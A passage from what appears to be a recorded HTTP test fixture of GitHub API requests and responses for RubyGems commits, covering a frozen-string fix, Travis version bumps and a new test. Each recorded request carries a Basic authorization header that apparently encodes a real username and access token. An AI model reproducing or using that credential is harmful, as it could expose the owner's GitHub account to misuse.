values."},{"sha":"62b80c4945ebc1d2924797b2947efc24f409b515","filename":"test/rubygems/test_gem.rb","status":"modified","additions":7,"deletions":0,"changes":7,"blob_url":"https://github.com/rubygems/rubygems/blob/9a18b82f839da145fea255799c7f5caec5d3fbf5/test/rubygems/test_gem.rb","raw_url":"https://github.com/rubygems/rubygems/raw/9a18b82f839da145fea255799c7f5caec5d3fbf5/test/rubygems/test_gem.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem.rb?ref=9a18b82f839da145fea255799c7f5caec5d3fbf5","patch":"@@ -1798,6 +1798,13 @@ def test_use_gemdeps_specific\n ENV[''RUBYGEMS_GEMDEPS''] = rubygems_gemdeps\n end\n \n+ def test_operating_system_defaults\n+ operating_system_defaults = Gem.operating_system_defaults\n+\n+ assert operating_system_defaults != nil\n+ assert operating_system_defaults.is_a? Hash\n+ end\n+\n def test_platform_defaults\n platform_defaults = Gem.platform_defaults\n "}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:45 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/44c3824c0d84fb38941cd491c28c5328e9b5a00e body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:45 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4558' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"3478ee18f11cbee96858da7d7dee8592" Last-Modified: - Tue, 19 Dec 2017 20:07:59 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.040096' X-Github-Request-Id: - C4A2:4D95:F47B2B:1C83178:5A50E461 body: encoding: ASCII-8BIT string: '{"sha":"44c3824c0d84fb38941cd491c28c5328e9b5a00e","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-12-19T20:07:59Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-12-19T20:07:59Z"},"message":"Auto merge of #2115 - MSP-Greg:frozen_string, r=colby-swandale\n\nFrozen string fix - lib/rubygems/bundler_version_finder.rb\n\n# Description:\n\nWhen starting ruby with `RUBYOPT=--enable-frozen-string-literal`, there are a few issues in RubyGems. This is the only issue I found in RubyGems, the others were in RDoc, which do cause RubyGems tests to fail. Working on that.\n\nI found this when I noticed a popluar gem was failing CI, turns out the owner had enabled the above setting. Investigation found this...\n______________\n\n# Tasks:\n\n- [X] Describe the problem / feature\n- [ ] Write tests\n- [X] Write code to solve the problem\n- [ ] Get code review from coworkers / friends\n\nI will abide by the [code of conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).","tree":{"sha":"ab7b6bf05938bc66d8782ef5362448070b12527e","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/ab7b6bf05938bc66d8782ef5362448070b12527e"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/44c3824c0d84fb38941cd491c28c5328e9b5a00e","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/44c3824c0d84fb38941cd491c28c5328e9b5a00e","html_url":"https://github.com/rubygems/rubygems/commit/44c3824c0d84fb38941cd491c28c5328e9b5a00e","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/44c3824c0d84fb38941cd491c28c5328e9b5a00e/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"c3358bb159862ba06aa950cf34095c89906e466d","url":"https://api.github.com/repos/rubygems/rubygems/commits/c3358bb159862ba06aa950cf34095c89906e466d","html_url":"https://github.com/rubygems/rubygems/commit/c3358bb159862ba06aa950cf34095c89906e466d"},{"sha":"ba59977ffd84db7b9d51b9bc36167f68e2ccd483","url":"https://api.github.com/repos/rubygems/rubygems/commits/ba59977ffd84db7b9d51b9bc36167f68e2ccd483","html_url":"https://github.com/rubygems/rubygems/commit/ba59977ffd84db7b9d51b9bc36167f68e2ccd483"}],"stats":{"total":4,"additions":3,"deletions":1},"files":[{"sha":"8c28a5bf94cfe2ed7a3dd95cdfe17472eabd5fae","filename":"lib/rubygems/bundler_version_finder.rb","status":"modified","additions":3,"deletions":1,"changes":4,"blob_url":"https://github.com/rubygems/rubygems/blob/44c3824c0d84fb38941cd491c28c5328e9b5a00e/lib/rubygems/bundler_version_finder.rb","raw_url":"https://github.com/rubygems/rubygems/raw/44c3824c0d84fb38941cd491c28c5328e9b5a00e/lib/rubygems/bundler_version_finder.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/bundler_version_finder.rb?ref=44c3824c0d84fb38941cd491c28c5328e9b5a00e","patch":"@@ -1,3 +1,5 @@\n+# frozen_string_literal: true\n+\n module Gem::BundlerVersionFinder\n @without_filtering = false\n \n@@ -102,7 +104,7 @@ def self.lockfile_contents\n lockfile = case gemfile\n when \"gems.rb\" then \"gems.locked\"\n else \"#{gemfile}.lock\"\n- end.untaint\n+ end.dup.untaint\n \n return unless File.file?(lockfile)\n "}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:45 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/c3358bb159862ba06aa950cf34095c89906e466d body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:45 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4557' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"a0ec8705fe2e59d96aba587f2952498e" Last-Modified: - Tue, 19 Dec 2017 19:43:30 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.059831' X-Github-Request-Id: - A1D4:4D95:F47B36:1C8318B:5A50E461 body: encoding: ASCII-8BIT string: '{"sha":"c3358bb159862ba06aa950cf34095c89906e466d","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-12-19T19:43:30Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-12-19T19:43:30Z"},"message":"Auto merge of #2117 - MSP-Greg:travis_ruby, r=colby-swandale\n\nTry Travis with Ruby 2.2.9, 2.3.6, 2.4.3\n\n# Description:\n\nUpdate Travis with new Ruby versions 2.2.9, 2.3.6, 2.4.3 & update excludes\n\n# Tasks:\n\n- [X] Describe the problem / feature\n- [ ] Write tests\n- [X] Write code to solve the problem\n- [ ] Get code review from coworkers / friends\n\nI will abide by the [code of conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).","tree":{"sha":"135bda8b2eee4d3716b42d096fd6e74bbfc54588","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/135bda8b2eee4d3716b42d096fd6e74bbfc54588"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/c3358bb159862ba06aa950cf34095c89906e466d","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/c3358bb159862ba06aa950cf34095c89906e466d","html_url":"https://github.com/rubygems/rubygems/commit/c3358bb159862ba06aa950cf34095c89906e466d","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/c3358bb159862ba06aa950cf34095c89906e466d/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"ff6ca04a6cbe8c2c137da398b64a4b9b1ecef419","url":"https://api.github.com/repos/rubygems/rubygems/commits/ff6ca04a6cbe8c2c137da398b64a4b9b1ecef419","html_url":"https://github.com/rubygems/rubygems/commit/ff6ca04a6cbe8c2c137da398b64a4b9b1ecef419"},{"sha":"564a2f50e1d6c202cd3ff3f2b46c1c7c0c476fea","url":"https://api.github.com/repos/rubygems/rubygems/commits/564a2f50e1d6c202cd3ff3f2b46c1c7c0c476fea","html_url":"https://github.com/rubygems/rubygems/commit/564a2f50e1d6c202cd3ff3f2b46c1c7c0c476fea"}],"stats":{"total":12,"additions":6,"deletions":6},"files":[{"sha":"0efd4523fc04156486ec4d9e6cf718acfc491513","filename":".travis.yml","status":"modified","additions":6,"deletions":6,"changes":12,"blob_url":"https://github.com/rubygems/rubygems/blob/c3358bb159862ba06aa950cf34095c89906e466d/.travis.yml","raw_url":"https://github.com/rubygems/rubygems/raw/c3358bb159862ba06aa950cf34095c89906e466d/.travis.yml","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/.travis.yml?ref=c3358bb159862ba06aa950cf34095c89906e466d","patch":"@@ -18,9 +18,9 @@ rvm:\n - 1.9.3\n - 2.0.0\n - 2.1.10\n-- 2.2.8\n-- 2.3.5\n-- 2.4.2\n+- 2.2.9\n+- 2.3.6\n+- 2.4.3\n - ruby-head\n env:\n - \"TEST_TOOL=rubygems YAML=syck\"\n@@ -38,11 +38,11 @@ matrix:\n env: \"TEST_TOOL=rubygems YAML=syck\"\n - rvm: 2.1.10\n env: \"TEST_TOOL=rubygems YAML=syck\"\n- - rvm: 2.2.7\n+ - rvm: 2.2.9\n env: \"TEST_TOOL=rubygems YAML=syck\"\n- - rvm: 2.3.4\n+ - rvm: 2.3.6\n env: \"TEST_TOOL=rubygems YAML=syck\"\n- - rvm: 2.4.1\n+ - rvm: 2.4.3\n env: \"TEST_TOOL=rubygems YAML=syck\"\n - rvm: ruby-head\n env: \"TEST_TOOL=rubygems YAML=syck\""}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:45 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/564a2f50e1d6c202cd3ff3f2b46c1c7c0c476fea body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:45 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4556' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"24f6c63984e1cde4bd15cfe7abaccef6" Last-Modified: - Tue, 19 Dec 2017 15:29:40 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.042016' X-Github-Request-Id: - A1D6:4D97:90359B:1C46F8F:5A50E461 body: encoding: ASCII-8BIT string: '{"sha":"564a2f50e1d6c202cd3ff3f2b46c1c7c0c476fea","commit":{"author":{"name":"MSP-Greg","email":"MSP-Greg@users.noreply.github.com","date":"2017-12-19T15:29:40Z"},"committer":{"name":"MSP-Greg","email":"MSP-Greg@users.noreply.github.com","date":"2017-12-19T15:29:40Z"},"message":"Try Travis with Ruby 2.2.9, 2.3.6, 2.4.3","tree":{"sha":"135bda8b2eee4d3716b42d096fd6e74bbfc54588","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/135bda8b2eee4d3716b42d096fd6e74bbfc54588"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/564a2f50e1d6c202cd3ff3f2b46c1c7c0c476fea","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/564a2f50e1d6c202cd3ff3f2b46c1c7c0c476fea","html_url":"https://github.com/rubygems/rubygems/commit/564a2f50e1d6c202cd3ff3f2b46c1c7c0c476fea","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/564a2f50e1d6c202cd3ff3f2b46c1c7c0c476fea/comments","author":{"login":"MSP-Greg","id":15081176,"avatar_url":"https://avatars3.githubusercontent.com/u/15081176?v=4","gravatar_id":"","url":"https://api.github.com/users/MSP-Greg","html_url":"https://github.com/MSP-Greg","followers_url":"https://api.github.com/users/MSP-Greg/followers","following_url":"https://api.github.com/users/MSP-Greg/following{/other_user}","gists_url":"https://api.github.com/users/MSP-Greg/gists{/gist_id}","starred_url":"https://api.github.com/users/MSP-Greg/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/MSP-Greg/subscriptions","organizations_url":"https://api.github.com/users/MSP-Greg/orgs","repos_url":"https://api.github.com/users/MSP-Greg/repos","events_url":"https://api.github.com/users/MSP-Greg/events{/privacy}","received_events_url":"https://api.github.com/users/MSP-Greg/received_events","type":"User","site_admin":false},"committer":{"login":"MSP-Greg","id":15081176,"avatar_url":"https://avatars3.githubusercontent.com/u/15081176?v=4","gravatar_id":"","url":"https://api.github.com/users/MSP-Greg","html_url":"https://github.com/MSP-Greg","followers_url":"https://api.github.com/users/MSP-Greg/followers","following_url":"https://api.github.com/users/MSP-Greg/following{/other_user}","gists_url":"https://api.github.com/users/MSP-Greg/gists{/gist_id}","starred_url":"https://api.github.com/users/MSP-Greg/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/MSP-Greg/subscriptions","organizations_url":"https://api.github.com/users/MSP-Greg/orgs","repos_url":"https://api.github.com/users/MSP-Greg/repos","events_url":"https://api.github.com/users/MSP-Greg/events{/privacy}","received_events_url":"https://api.github.com/users/MSP-Greg/received_events","type":"User","site_admin":false},"parents":[{"sha":"ff6ca04a6cbe8c2c137da398b64a4b9b1ecef419","url":"https://api.github.com/repos/rubygems/rubygems/commits/ff6ca04a6cbe8c2c137da398b64a4b9b1ecef419","html_url":"https://github.com/rubygems/rubygems/commit/ff6ca04a6cbe8c2c137da398b64a4b9b1ecef419"}],"stats":{"total":12,"additions":6,"deletions":6},"files":[{"sha":"0efd4523fc04156486ec4d9e6cf718acfc491513","filename":".travis.yml","status":"modified","additions":6,"deletions":6,"changes":12,"blob_url":"https://github.com/rubygems/rubygems/blob/564a2f50e1d6c202cd3ff3f2b46c1c7c0c476fea/.travis.yml","raw_url":"https://github.com/rubygems/rubygems/raw/564a2f50e1d6c202cd3ff3f2b46c1c7c0c476fea/.travis.yml","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/.travis.yml?ref=564a2f50e1d6c202cd3ff3f2b46c1c7c0c476fea","patch":"@@ -18,9 +18,9 @@ rvm:\n - 1.9.3\n - 2.0.0\n - 2.1.10\n-- 2.2.8\n-- 2.3.5\n-- 2.4.2\n+- 2.2.9\n+- 2.3.6\n+- 2.4.3\n - ruby-head\n env:\n - \"TEST_TOOL=rubygems YAML=syck\"\n@@ -38,11 +38,11 @@ matrix:\n env: \"TEST_TOOL=rubygems YAML=syck\"\n - rvm: 2.1.10\n env: \"TEST_TOOL=rubygems YAML=syck\"\n- - rvm: 2.2.7\n+ - rvm: 2.2.9\n env: \"TEST_TOOL=rubygems YAML=syck\"\n- - rvm: 2.3.4\n+ - rvm: 2.3.6\n env: \"TEST_TOOL=rubygems YAML=syck\"\n- - rvm: 2.4.1\n+ - rvm: 2.4.3\n env: \"TEST_TOOL=rubygems YAML=syck\"\n - rvm: ruby-head\n env: \"TEST_TOOL=rubygems YAML=syck\""}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:45 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/ba59977ffd84db7b9d51b9bc36167f68e2ccd483 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:45 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4555' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"82b23fa4a7169522185171a5d2f351de" Last-Modified: - Tue, 19 Dec 2017 13:07:51 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.040285' X-Github-Request-Id: - C4A8:4D97:9035A1:1C46FA2:5A50E461 body: encoding: ASCII-8BIT string: '{"sha":"ba59977ffd84db7b9d51b9bc36167f68e2ccd483","commit":{"author":{"name":"MSP-Greg","email":"MSP-Greg@users.noreply.github.com","date":"2017-12-19T04:13:46Z"},"committer":{"name":"MSP-Greg","email":"MSP-Greg@users.noreply.github.com","date":"2017-12-19T13:07:51Z"},"message":"Frozen string fix - lib/rubygems/bundler_version_finder.rb","tree":{"sha":"85ad9e2e8ff3c500f891c08117c9837081176bd5","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/85ad9e2e8ff3c500f891c08117c9837081176bd5"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/ba59977ffd84db7b9d51b9bc36167f68e2ccd483","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/ba59977ffd84db7b9d51b9bc36167f68e2ccd483","html_url":"https://github.com/rubygems/rubygems/commit/ba59977ffd84db7b9d51b9bc36167f68e2ccd483","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/ba59977ffd84db7b9d51b9bc36167f68e2ccd483/comments","author":{"login":"MSP-Greg","id":15081176,"avatar_url":"https://avatars3.githubusercontent.com/u/15081176?v=4","gravatar_id":"","url":"https://api.github.com/users/MSP-Greg","html_url":"https://github.com/MSP-Greg","followers_url":"https://api.github.com/users/MSP-Greg/followers","following_url":"https://api.github.com/users/MSP-Greg/following{/other_user}","gists_url":"https://api.github.com/users/MSP-Greg/gists{/gist_id}","starred_url":"https://api.github.com/users/MSP-Greg/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/MSP-Greg/subscriptions","organizations_url":"https://api.github.com/users/MSP-Greg/orgs","repos_url":"https://api.github.com/users/MSP-Greg/repos","events_url":"https://api.github.com/users/MSP-Greg/events{/privacy}","received_events_url":"https://api.github.com/users/MSP-Greg/received_events","type":"User","site_admin":false},"committer":{"login":"MSP-Greg","id":15081176,"avatar_url":"https://avatars3.githubusercontent.com/u/15081176?v=4","gravatar_id":"","url":"https://api.github.com/users/MSP-Greg","html_url":"https://github.com/MSP-Greg","followers_url":"https://api.github.com/users/MSP-Greg/followers","following_url":"https://api.github.com/users/MSP-Greg/following{/other_user}","gists_url":"https://api.github.com/users/MSP-Greg/gists{/gist_id}","starred_url":"https://api.github.com/users/MSP-Greg/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/MSP-Greg/subscriptions","organizations_url":"https://api.github.com/users/MSP-Greg/orgs","repos_url":"https://api.github.com/users/MSP-Greg/repos","events_url":"https://api.github.com/users/MSP-Greg/events{/privacy}","received_events_url":"https://api.github.com/users/MSP-Greg/received_events","type":"User","site_admin":false},"parents":[{"sha":"ff6ca04a6cbe8c2c137da398b64a4b9b1ecef419","url":"https://api.github.com/repos/rubygems/rubygems/commits/ff6ca04a6cbe8c2c137da398b64a4b9b1ecef419","html_url":"https://github.com/rubygems/rubygems/commit/ff6ca04a6cbe8c2c137da398b64a4b9b1ecef419"}],"stats":{"total":4,"additions":3,"deletions":1},"files":[{"sha":"8c28a5bf94cfe2ed7a3dd95cdfe17472eabd5fae","filename":"lib/rubygems/bundler_version_finder.rb","status":"modified","additions":3,"deletions":1,"changes":4,"blob_url":"https://github.com/rubygems/rubygems/blob/ba59977ffd84db7b9d51b9bc36167f68e2ccd483/lib/rubygems/bundler_version_finder.rb","raw_url":"https://github.com/rubygems/rubygems/raw/ba59977ffd84db7b9d51b9bc36167f68e2ccd483/lib/rubygems/bundler_version_finder.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/bundler_version_finder.rb?ref=ba59977ffd84db7b9d51b9bc36167f68e2ccd483","patch":"@@ -1,3 +1,5 @@\n+# frozen_string_literal: true\n+\n module Gem::BundlerVersionFinder\n @without_filtering = false\n \n@@ -102,7 +104,7 @@ def self.lockfile_contents\n lockfile = case gemfile\n when \"gems.rb\" then \"gems.locked\"\n else \"#{gemfile}.lock\"\n- end.untaint\n+ end.dup.untaint\n \n return unless File.file?(lockfile)\n "}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:45 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/60eb961c25f801ee43ca1be9393ab2f0a0546677 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:45 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4554' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"7007870aef3d4fbf451fdc848135aa1f" Last-Modified: - Tue, 19 Dec 2017 13:00:20 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.048184' X-Github-Request-Id: - C4AA:4D94:4EFEC0:B2FF6F:5A50E461 body: encoding: ASCII-8BIT string: !binary |- 